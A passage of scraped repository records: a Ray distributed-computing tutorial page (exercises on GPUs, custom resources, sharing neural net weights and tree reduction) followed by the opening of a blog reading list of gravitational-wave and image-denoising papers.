189 ms\n# Wall time: 193 ms\n\n# pickle - deserializing\n# CPU times: user 2.25 ms, sys: 0 ns, total: 2.25 ms\n# Wall time: 2.28 ms\n```\n\nDefine a remote function which uses the neural net weights.\n\n```python\[email protected]\ndef use_weights(weights, i):\n return i\n```\n\n**EXERCISE:** In the code below, use `ray.put` to avoid copying the neural net weights to the object store multiple times.\n\n```python\n# Sleep a little to improve the accuracy of the timing measurements below.\ntime.sleep(2.0)\n\nstart_time = time.time()\n\ntemp = ray.put(neural_net_weights)\nresults = ray.get([use_weights.remote(temp, i) for i in range(20)])\n\nend_time = time.time()\nduration = end_time - start_time\n```\n\n**VERIFY:** Run some checks to verify that the changes you made to the code were correct. Some of the checks should fail when you initially run the cells. After completing the exercises, the checks should pass.\n\n```python\nassert results == list(range(20))\nassert duration < 1, ('The experiments ran in {} seconds. This is too '\n 'slow.'.format(duration))\n\nprint('Success! The example took {} seconds.'.format(duration))\n# Success! The example took 0.10664176940917969 seconds.\n```\n\n\n\n---\n\n## Exercise 9 - Using the GPU API\n\n**GOAL:** The goal of this exercise is to show how to use GPUs with remote functions and actors.\n\n**NOTE:** These exercises are designed to run on a machine without GPUs.\n\nSee the documentation on using Ray with GPUs http://ray.readthedocs.io/en/latest/using-ray-with-gpus.html.\n\n### Concepts for this Exercise - Using Ray with GPUs\n\n> We can indicate that a remote function or an actor requires some GPUs using the `num_gpus` keyword.\n>\n> ```python\n> @ray.remote(num_gpus=1)\n> def f():\n> # The command ray.get_gpu_ids() returns a list of the indices\n> # of the GPUs that this task can use (e.g., [0] or [1]).\n> ray.get_gpu_ids()\n> \n> @ray.remote(num_gpus=2)\n> class Foo(object):\n> def __init__(self):\n> # The command ray.get_gpu_ids() returns a list of the\n> # indices of the GPUs that this actor can use\n> # (e.g., [0, 1] or [3, 5]).\n> ray.get_gpu_ids()\n> ```\n>\n> Then inside of the actor constructor and methods, we can get the IDs of the GPUs allocated for that actor with `ray.get_gpu_ids()`.\n\n---\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport ray\nimport time\n```\n\nStart Ray, note that we pass in `num_gpus=4`. Ray will assume this machine has 4 GPUs (even if it does not). When a task or actor requests a GPU, it will be assigned a GPU ID from the set `[0, 1, 2, 3]`. It is then the responsibility of the task or actor to make sure that it only uses that specific GPU (e.g., by setting the `CUDA_VISIBLE_DEVICES` environment variable).\n\n```python\nray.init(num_cpus=4, num_gpus=2, include_webui=False, ignore_reinit_error=True)\n```\n\n**EXERCISE:** Change the remote function below to require one GPU.\n\n**NOTE:** This change does not make the remote function actually **use** the GPU, it simply **reserves** the GPU for use by the remote function. To actually use the GPU, the remote function would use a neural net library like TensorFlow or PyTorch after setting the `CUDA_VISIBLE_DEVICES` environment variable properly. This can be done as follows.\n\n> ```python\n> import os\n> os.environ['CUDA_VISIBLE_DEVICES'] = ','.join([str(i) for i in ray.get_gpu_ids()])\n> ```\n\n```python\[email protected](num_gpus = 1)\ndef f():\n time.sleep(0.5)\n return ray.get_gpu_ids()\n```\n\n**VERIFY:** This code checks that each task was assigned one GPU and that not more than two tasks are run at the same time (because we told Ray there are only two GPUs).\n\n```python\nstart_time = time.time()\n\ngpu_ids = ray.get([f.remote() for _ in range(3)]) # [[1], [0], [0]]\n\nend_time = time.time()\n\nfor i in range(len(gpu_ids)):\n assert len(gpu_ids[i]) == 1\n\nassert end_time - start_time > 1\n\nprint('Sucess! The test passed.')\n# Sucess! The test passed.\n```\n\n**EXERCISE:** The code below defines an actor. Make it require one GPU.\n\n```python\[email protected](num_gpus = 1)\nclass Actor(object):\n def __init__(self):\n pass\n\n def get_gpu_ids(self):\n return ray.get_gpu_ids()\n```\n\n**VERIFY:** This code checks that the actor was assigned a GPU.\n\n```python\nactor = Actor.remote()\n\ngpu_ids = ray.get(actor.get_gpu_ids.remote()) # [0]\n\nassert len(gpu_ids) == 1\n\nprint('Sucess! The test passed.')\n# Sucess! The test passed.\n```\n\n\n\n---\n\n## Exercise 10 - Custom Resources\n\n**GOAL:** The goal of this exercise is to show how to use custom resources\n\nSee the documentation on using Ray with custom resources http://ray.readthedocs.io/en/latest/resources.html#custom-resources.\n\n### Concepts for this Exercise - Using Custom Resources\n\n> We've discussed how to specify a task's CPU and GPU requirements, but there are many other kinds of resources. For example, a task may require a dataset, which only lives on a few machines, or it may need to be scheduled on a machine with extra memory. These kinds of requirements can be expressed through the use of custom resources.\n>\n> Custom resources are most useful in the multi-machine setting. However, this exercise illustrates their usage in the single-machine setting.\n>\n> Ray can be started with a dictionary of custom resources (mapping resource name to resource quantity) as follows.\n>\n> ```python\n> ray.init(resources={'CustomResource1': 1, 'CustomResource2': 4})\n> ```\n>\n> The resource requirements of a remote function or actor can be specified in a similar way.\n>\n> ```python\n> @ray.remote(resources={'CustomResource2': 1})\n> def f():\n> return 1\n> ```\n>\n> Even if there are many CPUs on the machine, only 4 copies of `f` can be executed concurrently.\n>\n> Custom resources give applications a great deal of flexibility. For example, if you wish to control precisely which machine a task gets scheduled on, you can simply start each machine with a different custom resource (e.g., start machine `n` with resource `Custom_n` and then tasks that should be scheduled on machine `n` can require resource `Custom_n`. However, this usage has drawbacks because it makes the code less portable and less resilient to machine failures.\n\n---\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport ray\nimport time\n```\n\nIn this exercise, we will start Ray using custom resources.\n\n```python\nray.init(num_cpus=8, resources={'Custom1': 4}, include_webui=False, ignore_reinit_error=True)\n```\n\n**EXERCISE:** Modify the resource requirements of the remote functions below so that the following hold.\n- The number of concurrently executing tasks is at most 8 (note that there are 8 CPUs).\n- No more than 4 copies of `g` can execute concurrently.\n- If 4 `g` tasks are executing, then an additional 4 `f` tasks can execute.\n\nYou should only need to use the `Custom1` resource.\n\n```python\[email protected]\ndef f():\n time.sleep(0.1)\n\[email protected](resources={'Custom1': 1})\ndef g():\n time.sleep(0.1)\n```\n\nIf you did the above exercise correctly, the next cell should execute without raising an exception.\n\n```python\nstart = time.time()\nray.get([f.remote() for _ in range(8)])\nduration = time.time() - start \nassert duration >= 0.1 and duration < 0.19, '8 f tasks should be able to execute concurrently.'\n\nstart = time.time()\nray.get([f.remote() for _ in range(9)])\nduration = time.time() - start \nassert duration >= 0.2 and duration < 0.29, 'f tasks should not be able to execute concurrently.'\n\nstart = time.time()\nray.get([g.remote() for _ in range(4)])\nduration = time.time() - start \nassert duration >= 0.1 and duration < 0.19, '4 g tasks should be able to execute concurrently.'\n\nstart = time.time()\nray.get([g.remote() for _ in range(5)])\nduration = time.time() - start \nassert duration >= 0.2 and duration < 0.29, '5 g tasks should not be able to execute concurrently.'\n\nstart = time.time()\nray.get([f.remote() for _ in range(4)] + [g.remote() for _ in range(4)])\nduration = time.time() - start \nassert duration >= 0.1 and duration < 0.19, '4 f and 4 g tasks should be able to execute concurrently.'\n\nstart = time.time()\nray.get([f.remote() for _ in range(5)] + [g.remote() for _ in range(4)])\nduration = time.time() - start \nassert duration >= 0.2 and duration < 0.29, '5 f and 4 g tasks should not be able to execute concurrently.'\n\nprint('Success!')\n# Success!\n```\n\n\n\n---\n\n## Exercise 11 - Pass Neural Net Weights Between Processes\n\n**GOAL:** The goal of this exercise is to show how to send neural network weights between workers and the driver.\n\nFor more details on using Ray with TensorFlow, see the documentation at http://ray.readthedocs.io/en/latest/using-ray-with-tensorflow.html.\n\n### Concepts for this Exercise - Getting and Setting Neural Net Weights\n\n> Since pickling and unpickling a TensorFlow graph can be inefficient or may not work at all, it is most efficient to ship the weights between processes as a dictionary of numpy arrays (or as a flattened numpy array).\n>\n> We provide the helper class `ray.experimental.TensorFlowVariables` to help with getting and setting weights. Similar techniques should work other neural net libraries.\n>\n> Consider the following neural net definition.\n>\n> ```python\n> import tensorflow as tf\n> \n> x_data = tf.placeholder(tf.float32, shape=[100])\n> y_data = tf.placeholder(tf.float32, shape=[100])\n> \n> w = tf.Variable(tf.random_uniform([1], -1.0, 1.0))\n> b = tf.Variable(tf.zeros([1]))\n> y = w * x_data + b\n> \n> loss = tf.reduce_mean(tf.square(y - y_data))\n> optimizer = tf.train.GradientDescentOptimizer(0.5)\n> grads = optimizer.compute_gradients(loss)\n> train = optimizer.apply_gradients(grads)\n> \n> init = tf.global_variables_initializer()\n> sess = tf.Session()\n> sess.run(init)\n> ```\n>\n> Then we can use the helper class as follows.\n>\n> ```python\n> variables = ray.experimental.TensorFlowVariables(loss, sess)\n> # Here 'weights' is a dictionary mapping variable names to the associated\n> # weights as a numpy array.\n> weights = variables.get_weights()\n> variables.set_weights(weights)\n> ```\n>\n> Note that there are analogous methods `variables.get_flat` and `variables.set_flat`, which concatenate the weights as a single array instead of a dictionary.\n>\n> ```python\n> # Here 'weights' is a numpy array of all of the neural net weights\n> # concatenated together.\n> weights = variables.get_flat()\n> variables.set_flat(weights)\n> ```\n>\n> In this exercise, we will use an actor containing a neural network and implement methods to extract and set the neural net weights.\n>\n> **WARNING:** This exercise is more complex than previous exercises.\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport ray\nimport tensorflow as tf\nimport time\n```\n\n```python\nray.init(num_cpus=4, include_webui=False, ignore_reinit_error=True)\n```\n\nThe code below defines a class containing a simple neural network.\n\n**EXERCISE:** Implement the `set_weights` and `get_weights` methods. This should be done using the `ray.experimental.TensorFlowVariables` helper class.\n\n```python\[email protected]\nclass SimpleModel(object):\n def __init__(self):\n x_data = tf.placeholder(tf.float32, shape=[100])\n y_data = tf.placeholder(tf.float32, shape=[100])\n\n w = tf.Variable(tf.random_uniform([1], -1.0, 1.0))\n b = tf.Variable(tf.zeros([1]))\n y = w * x_data + b\n\n self.loss = tf.reduce_mean(tf.square(y - y_data))\n optimizer = tf.train.GradientDescentOptimizer(0.5)\n grads = optimizer.compute_gradients(self.loss)\n self.train = optimizer.apply_gradients(grads)\n\n init = tf.global_variables_initializer()\n self.sess = tf.Session()\n\n # Here we create the TensorFlowVariables object to assist with getting\n # and setting weights.\n self.variables = ray.experimental.TensorFlowVariables(self.loss, self.sess)\n\n self.sess.run(init)\n\n def set_weights(self, weights):\n \"\"\"Set the neural net weights.\n \n This method should assign the given weights to the neural net.\n \n Args:\n weights: Either a dict mapping strings (the variable names) to numpy\n arrays or a single flattened numpy array containing all of the\n concatenated weights.\n \"\"\"\n # EXERCISE: You will want to use self.variables here.\n self.variables.set_weights(weights)\n# raise NotImplementedError\n\n def get_weights(self):\n \"\"\"Get the neural net weights.\n \n This method should return the current neural net weights.\n \n Returns:\n Either a dict mapping strings (the variable names) to numpy arrays or\n a single flattened numpy array containing all of the concatenated\n weights.\n \"\"\"\n # EXERCISE: You will want to use self.variables here.\n return self.variables.get_weights()\n# raise NotImplementedError\n```\n\nCreate a few actors.\n\n```python\nactors = [SimpleModel.remote() for _ in range(4)]\n```\n\n**EXERCISE:** Get the neural net weights from all of the actors.\n\n```python\n# raise Exception('Implement this.')\nray.get([actor.get_weights.remote() for actor in actors])\n\n# [{'Variable': array([-0.6429639], dtype=float32),\n# 'Variable_1': array([0.], dtype=float32)},\n# {'Variable': array([-0.789418], dtype=float32),\n# 'Variable_1': array([0.], dtype=float32)},\n# {'Variable': array([-0.49405766], dtype=float32),\n# 'Variable_1': array([0.], dtype=float32)},\n# {'Variable': array([0.7267263], dtype=float32),\n# 'Variable_1': array([0.], dtype=float32)}]\n```\n\n**EXERCISE:** Average all of the neural net weights.\n\n**NOTE:** This will be easier to do if you chose to use `get_flat`/`set_flat` instead of `get_weights`/`set_weights` in the implementation of `SimpleModel.set_weights` and `SimpleModel.get_weights` above..\n\n```python\n# raise Exception('Implement this.')\nVariable_mean = np.mean( [ actor_dict['Variable'] for actor_dict in ray.get([actor.get_weights.remote() for actor in actors]) ] )\nVariable_1_mean = np.mean( [ actor_dict['Variable_1'] for actor_dict in ray.get([actor.get_weights.remote() for actor in actors]) ] )\naverage_weights = [{ 'Variable': np.array([Variable_mean])\n ,'Variable_1': np.array([Variable_1_mean]) } for _ in range(4) ]\n\naverage_weights\n# [{'Variable': array([-0.2999283], dtype=float32),\n# 'Variable_1': array([0.], dtype=float32)},\n# {'Variable': array([-0.2999283], dtype=float32),\n# 'Variable_1': array([0.], dtype=float32)},\n# {'Variable': array([-0.2999283], dtype=float32),\n# 'Variable_1': array([0.], dtype=float32)},\n# {'Variable': array([-0.2999283], dtype=float32),\n# 'Variable_1': array([0.], dtype=float32)}]\n```\n\n**EXERCISE:** Set the average weights on the actors.\n\n```python\n# raise Exception('Implement this.')\n[actor.set_weights.remote(average_weight) for actor, average_weight in zip(actors, average_weights) ];\n```\n\n**VERIFY:** Check that all of the actors have the same weights.\n\n```python\nweights = ray.get([actor.get_weights.remote() for actor in actors])\n\nfor i in range(len(weights)):\n np.testing.assert_equal(weights[i], weights[0])\n\nprint('Success! The test passed.')\n# Success! The test passed.\n```\n\n\n\n---\n\n## Exercise 12 - Tree Reduce\n\n**GOAL:** The goal of this exercise is to show how to implement a tree reduce in Ray by passing object IDs into remote functions to encode dependencies between tasks.\n\nIn this exercise, you will use Ray to implement parallel data generation and a parallel tree reduction.\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport ray\nimport time\n```\n\n```python\nray.init(num_cpus=8, include_webui=False, ignore_reinit_error=True)\n```\n\n**EXERCISE:** These functions will need to be turned into remote functions so that the tree of tasks can be executed in parallel.\n\n```python\n# This is a proxy for a function which generates some data.\[email protected]\ndef create_data(i):\n time.sleep(0.3)\n return i * np.ones(10000)\n\n# This is a proxy for an expensive aggregation step (which is also\n# commutative and associative so it can be used in a tree-reduce).\[email protected]\ndef aggregate_data(x, y):\n time.sleep(0.3)\n return x * y\n```\n\n**EXERCISE:** Make the data creation tasks run in parallel. Also aggregate the vectors in parallel. Note that the `aggregate_data` function must be called 7 times. They cannot all run in parallel because some depend on the outputs of others. However, it is possible to first run 4 in parallel, then 2 in parallel, and then 1.\n\n```python\n# Sleep a little to improve the accuracy of the timing measurements below.\ntime.sleep(1.0)\nstart_time = time.time()\n\n# EXERCISE: Here we generate some data. Do this part in parallel.\nvectors = [create_data.remote(i + 1) for i in range(8)]\n\n# Here we aggregate all of the data repeatedly calling aggregate_data. This\n# can be sped up using Ray.\n#\n# NOTE: A direct translation of the code below to use Ray will not result in\n# a speedup because each function call uses the output of the previous function\n# call so the function calls must be executed serially.\n#\n# EXERCISE: Speed up the aggregation below by using Ray. Note that this will\n# require restructuring the code to expose more parallelism. First run 4 tasks\n# aggregating the 8 values in pairs. Then run 2 tasks aggregating the resulting\n# 4 intermediate values in pairs. then run 1 task aggregating the two resulting\n# values. Lastly, you will need to call ray.get to retrieve the final result.\n#\n# Exposing more parallelism means aggregating the vectors in a DIFFERENT ORDER.\n# This can be done because we are simply summing the data and the order in\n# which the values are summed doesn't matter (it's commutative and associative).\n# result = aggregate_data(vectors[0], vectors[1])\n# result = aggregate_data(result, vectors[2])\n# result = aggregate_data(result, vectors[3])\n# result = aggregate_data(result, vectors[4])\n# result = aggregate_data(result, vectors[5])\n# result = aggregate_data(result, vectors[6])\n# result = aggregate_data(result, vectors[7])\n\nwhile len(vectors) > 1:\n vectors.append(aggregate_data.remote(vectors.pop(0), vectors.pop(0)) )# + vectors[2:]\nresult = ray.get(vectors[0])\n\n# NOTE: For clarity, the aggregation above is written out as 7 separate function\n# calls, but this can be done more easily in a while loop via\n#\n# while len(vectors) > 1:\n# vectors = aggregate_data(vectors[0], vectors[1]) + vectors[2:]\n# result = vectors[0]\n#\n# When expressed this way, the change from serial aggregation to tree-structured\n# aggregation can be made simply by appending the result of aggregate_data to the\n# end of the vectors list as opposed to the beginning.\n#\n# EXERCISE: Think about why this is true.\n\nend_time = time.time()\nduration = end_time - start_time\n```\n\n**EXERCISE:** Use the UI to view the task timeline and to verify that the vectors were aggregated with a tree of tasks.\n\nYou should be able to see the 8 `create_data` tasks running in parallel followed by 4 `aggregate_data` tasks running in parallel followed by 2 more `aggregate_data` tasks followed by 1 more `aggregate_data` task.\n\nIn the timeline, click on **View Options** and select **Flow Events** to visualize tasks dependencies.\n\n```python\nimport ray.experimental.ui as ui\nui.task_timeline()\n```\n\n![](https://i.loli.net/2018/12/22/5c1e536115fb2.png)\n\nVERIFY:** Run some checks to verify that the changes you made to the code were correct. Some of the checks should fail when you initially run the cells. After completing the exercises, the checks should pass.\n\n```python\nassert np.all(result == 40320 * np.ones(10000)), ('Did you remember to '\n 'call ray.get?')\nassert duration < 0.3 + 0.9 + 0.3, ('FAILURE: The data generation and '\n 'aggregation took {} seconds. This is '\n 'too slow'.format(duration))\nassert duration > 0.3 + 0.9, ('FAILURE: The data generation and '\n 'aggregation took {} seconds. This is '\n 'too fast'.format(duration))\n\nprint('Success! The example took {} seconds.'.format(duration))\n# Success! The example took 1.2151989936828613 seconds.\n```\n\n\n\n\n\n๏ผˆEND๏ผ‰\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./Ray_Tutorial.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n\n\n\n" }, { "alpha_fraction": 0.6905785202980042, "alphanum_fraction": 0.7391883134841919, "avg_line_length": 62.040767669677734, "blob_id": "a9699ad4f9c6f50edf394ad6a83840b14b550bb8", "content_id": "8b903ff26780fc3cd6a789d1653f910cc38ea5f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 26747, "license_type": "no_license", "max_line_length": 693, "num_lines": 417, "path": "/blog/paper_summary/index-NSConflict-Herb-mac10.13.6.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Paper Summary\ndate: 2018-08-22\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n![](https://i.loli.net/2018/08/24/5b7fffecd8d1d.png)\n\n---\n\n\n\n\n> **Please note that these posts are for my future self to review the materials on these papers without reading them all over again.** \n>\n> Therefore, the list of contents is only collected due to my own interests.\n\n\n\n[TOC]\n\n\n\n# :racing_car: **A Paper A Day**\n\nFelt like I wasnโ€™t reading enough โ€“ and what I was reading wasnโ€™t sinking in enough. I also wanted to keep track of my sources in a more controlled manner. As a part of adding everything to my JabRef (maybeโ€ฆ), I figured I would write up my comments on papers. \n\nThe goal is to read and comment once a day. and this [post](./APaperADay.html) will be updated day by day according to the reading process.\n\n\n\n---\n\n\n\n# :rainbow: GW Astronomy\n\n\n\n## #APaperADay\n\n**Supporting High-Performance and High-Throughput Computing for Experimental Science**. E. A. Huerta, Roland Haas, Shantenu Jha, Mark Neubauer, Daniel S. Katz. [University of Illinois at Urbana-Champaign]. [arXiv:1810.03056](https://arxiv.org/abs/1810.03056) [comment: HPC and HTC must be bridged as an integrated, unified infrastructure; machine and deep learning applications are promissing as a paradigm shift in GWs and heps; Nice refs in it. ]\n\n## General\n\n[Summary] Brรผgmann B. Fundamentals of numerical relativity for gravitational wave sources[J]. Science, 2018, 361(6400): 366-371.\n\n[Summary] Samir A Hamouda and Salima Y Alwarfaliy. \"**Gravitational Waves: The Physics of Space and Time**\"[PDF](https://s3.amazonaws.com/academia.edu.documents/57199376/Gravitational_waves__1.pdf?AWSAccessKeyId=AKIAIWOWYYGZ2Y53UL3A&Expires=1537374292&Signature=umZx0ZmQYXLM9%2Fb2bu1kl5T5hN0%3D&response-content-disposition=inline%3B%20filename%3DGravitational_Waves_The_Physics_of_Space.pdf)\n\n- What reading would you recommend for new grad students working on gravitational waves and compact object astrophysics?\n - \"**Physics, Astrophysics and Cosmology with Gravitational Waves**\" https://arxiv.org/pdf/0903.0338.pdf\n - \"**The Geometry of Gravitational Wave Detection**\" https://dcc.ligo.org/public/0106/T1300666/003/Whelan_geometry.pdf\n - \"**Gravitational-wave sensitivity curves**\" https://arxiv.org/pdf/1408.0740.pdf\n - \"**Theory of Gravitational Waves**\" https://arxiv.org/pdf/1607.04202.pdf\n - \"**Gravitational wave sources in the era of multi-frequency gravitational wave astronomy**\" https://arxiv.org/pdf/1610.05309.pdf\n - \"**Gravitational waves from orbiting binaries without general relativity: a tutorial**\" https://arxiv.org/pdf/1710.04635.pdf\n - \"**Merging stellar-mass binary black holes**\" https://arxiv.org/pdf/1806.05820.pdf\n - **gravitational-wave resources** http://hosting.astro.cornell.edu/~favata/gwresources.html\n - https://gr-asp.net | Serving last 13984 papers from gr-qc and related categories\n - https://www.black-holes.org <u>S</u>imulating E<u>x</u>tremef <u>S</u>pacetimes (SXS)\n\n1. Jaranowski, Piotr, Andrzej Krolak, and Bernard F. Schutz. \"Data analysis of gravitational-wave signals from spinning neutron stars: The signal and its detection.\" *Physical Review D* 58.6 (1998): 063001.\n2. Jaranowski, Piotr, and Andrzej Krolak. \"Data analysis of gravitational-wave signals from spinning neutron stars. II. Accuracy of estimation of parameters.\" *Physical Review D*59.6 (1999): 063003.\n3. Jaranowski, Piotr, and Andrzej Krolak. \"Data analysis of gravitational-wave signals from spinning neutron stars. III. Detection statistics and computational requirements.\" *Physical Review D* 61.6 (2000): 062001.\n4. Astone P, Borkowski K M, Jaranowski P, et al. Data analysis of gravitational-wave signals from spinning neutron stars. IV. An all-sky search[J]. Physical Review D, 2002, 65(4): 042003.\n\n## Machine Learning\n\n[[Paper Summary](./Deep neural networks to enable real-time multimessenger astrophysics.html)] George D, Huerta E A. \"**Deep neural networks to enable real-time multimessenger astrophysics**\"[J]. Physical Review D, 2018, 97(4): 044039. (**First attempt**)\n\n\n\n1. George, D., Huerta, E.A.: Deep Learning for real-time gravita- tional wave detection and parameter estimation: Results with Ad- vanced LIGO data. Physics Letters B 778, 64โ€“70 (2018). DOI 10.1016/j.physletb.2017.12.053 \n2. George, D., Huerta, E.A.: Deep neural networks to enable real- time multimessenger astrophysics. Phys. Rev. D 97, 044,039 (2018). DOI 10.1103/PhysRevD.97.044039. URL https://link.aps.org/doi/10.1103/PhysRevD.97.044039\n3. Rebei, A., Huerta, E.A., Wang, S., Habib, S., Haas, R., Johnson, D., George, D.: Fusing numerical relativity and deep learning to detect higher-order multipole waveforms from eccentric binary black hole mergers. ArXiv e-prints (2018)\n4. Shen, H., George, D., Huerta, E.A., Zhao, Z.: Denoising Grav- itational Waves using Deep Learning with Recurrent Denoising Autoencoders. ArXiv e-prints (2017)\n5. George, D., Shen, H., Huerta, E.A.: Classification and unsuper- vised clustering of ligo data with deep transfer learning. Phys. Rev. D 97, 101,501 (2018). DOI 10.1103/PhysRevD.97.101501. URL https://link.aps.org/doi/10.1103/PhysRevD.97.101501 \n6. Huerta, E.A., George, D., Zhao, Z., Allen, G.: Real-time regression analysis with deep convolutional neural networks. ArXiv e-prints (2018)\n\n\n\n\n\nGlitch\t\t\tLIGO PRL 119 161101 (2017)\n\nCurrent Searches \t\t\tLIGO PRX 6 041015 2016 LIGO PRL 116 241103\n\nCurrent Parameter Estimation \t\t\tLIGO PRL 116, 241103 2016\n\nCurrent Challedge\t\t\tZevin CQG 34 6 064003 2017\n\nCONV.\t\t\tZevin CQG 34 6 064003\n\nhttps://arxiv.org/pdf/1807.09787.pdf\n\nBayesLine: Bayesian Inference for Spectral Estimation of Gravitational Wave Detector\nNoise\n\n\n\n## Maybe helpful:\n\n- Rotation-invariant convolutional neural networks for galaxy morphology prediction\n- Deep learning for time series classification\n- ใ€ŠLearning Confidence for Out-of-Distribution Detection in Neural Networksใ€‹T DeVries, G W. Taylor [University of Guelph & Vector Institute] (2018) http://t.cn/RFPZvFB \n- ใ€ๆตๅฝขๅญฆไน ไธŽ่ฐฑๆ–นๆณ•ใ€‘ใ€ŠManifold Learning and Spectral Methodsใ€‹by David Pfau [DeepMind][*O*็ฝ‘้กต้“พๆŽฅ](http://t.cn/RdzYMu9) \n- GAN: https://arxiv.org/pdf/1701.00160.pdf\n- ใ€ŠAnomaly Detection with Generative Adversarial Networks for Multivariate Time Seriesใ€‹D Li, D Chen, J Goh, S Ng [National University of Singapore] (2018) http://t.cn/EvXuiAS \n- ใ€ๆœ€ๆ–ฐๅฏๅค็Žฐๅ›พๅƒๅŽปๅ™ช็ฎ—ๆณ•ๆฑ‡ๆ€ปใ€‘โ€™Collection of popular and reproducible image denoising works.' by Bihan Wen GitHub: [*O*็ฝ‘้กต้“พๆŽฅ](http://t.cn/RkREnEk) another by Wenhan Yang [*O*็ฝ‘้กต้“พๆŽฅ](http://t.cn/RkREeyJ) \n\n# :cloud_with_rain: Denoising & Noise Modeling\n\n> ใ€ๆœ€ๆ–ฐๅฏๅค็Žฐๅ›พๅƒๅŽปๅ™ช็ฎ—ๆณ•ๆฑ‡ๆ€ปใ€‘โ€™Collection of popular and reproducible image denoising works.' by Bihan Wen GitHub: http://t.cn/RkREnEk another by Wenhan Yang http://t.cn/RkREeyJ \n>\n> - by Bihan Wen\n> - by Wenhan Yang\n\n- [Paper Summary] K He, J Sun, X Tang. \"**Single image haze removal using dark channel prior**\" (2009)(**CVPR best paper**)([pdf](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.672.3815&rep=rep1&type=pdf))(**ไฝ•ๅ‡ฏๆ˜Žๅšๅฃซ็š„็ฌฌไธ€็ฏ‡๏ผ**)\n- [Paper Summary] Olaf Ronneberger, Philipp Fischer, and Thomas Brox \"**U-Net: Convolutional Networks for Biomedical Image Segmentation**\" arXiv:1505.04597 (2015) **(U-Net)** ([Website](https://lmb.informatik.uni-freiburg.de/people/ronneber/u-net/)) ([code](https://github.com/xuyuting45/DSB2018-mx-unet)) ([code](https://github.com/chinakook/U-Net)) ([code](https://github.com/divamgupta/image-segmentation-keras/tree/master/Models)) ([code](https://github.com/chinakook/U-Net/blob/master/unet_gluon.ipynb)) ([code](https://gluon.mxnet.io/chapter14_generative-adversarial-networks/pixel2pixel.html?highlight=unet)) ([code](https://github.com/bckenstler/unet-nerve-segmentation-mxnet/blob/master/U-Net%20MXNet.ipynb))\n- [Paper Summary] Xiao-Jiao Mao, Chunhua Shen, Yu-Bin Yang. \"**Image Restoration Using Convolutional Auto-encoders with Symmetric Skip Connections**\" arXiv:1606.08921 (2016) **(Skip connections)** ([code](https://github.com/7wik/convolutional-auto-encoders-with-skip-connections))\n- [Paper Summary] F Zhu, G Chen, PA Heng. \"**From Noise Modeling to Blind Image Denoising**\" CVPR (2016) ([Website](https://www.cv-foundation.org/openaccess/content_cvpr_2016/html/Zhu_From_Noise_Modeling_CVPR_2016_paper.html))\n\n- [Paper Summary] Fu, X., Huang, J., Ding, X., Liao, Y., Paisley. J \"**Clearing the skies: A deep network architecture for single-image rain removal**\" arXiv:1609.02087 (2017) (**DerainNet**)(a low-pass filter)\n- [Paper Summary] Zhang, H., Sindagi, V., Patel. \"**Image de-raining using a conditional generative adversarial network.**\" arXiv:1701.05957 (2017) (ๅŽป้›จ) (**ID-CGAN**)\n- [Paper Summary] R Qian, R T. Tan, W Yang, J Su, J Liu. \"**Attentive Generative Adversarial Network for Raindrop Removal from a Single Image**.\" arXiv:1711.10098 (2017) **(ๅ•ๅ›พๅŽป้›จ)** ([code](http://t.cn/RDfhFhN)) (attentive GAN)\n- [Paper Summary] Dmitry Ulyanov, Andrea Vedaldi, Victor Lempitsky. \"**Deep Image Prior**\" arXiv:1711.10925 (2017) ([Website](https://dmitryulyanov.github.io/deep_image_prior))\n- [Paper Summary] Li, R., Cheong, L.F., Tan, \"**Single image deraining using scale-aware multi-stage recurrent network.**\" arXiv:1712.06830 (2017)\n- [Paper Summary] Jaakko Lehtinen, Jacob Munkberg, Jon Hasselgren, Samuli Laine, Tero Karras, Miika Aittala, Timo Aila \"**Noise2Noise: Learning Image Restoration without Clean Data**\" arXiv:1803.04189 (2018) (ICML 2018) ([ๆœบๅ™จไน‹ๅฟƒ](https://mp.weixin.qq.com/s/JZaWJzVHXShgTQUuiJlDVA)) ([nvidia](https://news.developer.nvidia.com/ai-can-now-fix-your-grainy-photos-by-only-looking-at-grainy-photos/)) ([GitHub](https://github.com/NVlabs/noise2noise))\n- [Paper Summary] C Chen, Q Chen, J Xu, 